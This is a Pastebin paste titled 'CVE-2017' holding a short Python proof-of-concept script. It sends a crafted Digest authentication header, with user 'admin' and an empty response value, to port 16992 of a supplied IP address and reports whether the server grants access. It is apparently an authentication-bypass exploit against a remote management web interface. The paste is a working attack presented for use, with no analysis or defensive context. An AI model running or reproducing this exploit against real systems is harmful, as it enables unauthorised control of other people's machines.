Advertisement
uzycie

CVE-2017

May 19th, 2017
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import requests
  3. import sys
  4.  
  5. if len(sys.argv) > 1:
  6. ip = str(sys.argv[1])
  7. else:
  8. print('give an ip!')
  9. exit()
  10.  
  11. url = 'http://'+ip+':16992/index.htm'
  12. req = requests.get(url)
  13. auth = req.headers['WWW-Authenticate']
  14. words = auth.split('"')
  15. headers = 'Digest username= "admin", realm="'+words[1]+'", nonce="'+words[3]+'", uri="index.htm", response="", qop="auth", nc="00000001", cnonce="8858482c60513ab5" '
  16. poc = requests.get(url, headers={'Authorization': headers})
  17. if poc.status_code == 200:
  18. print('Success')
  19. else:
  20. print('Failed')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement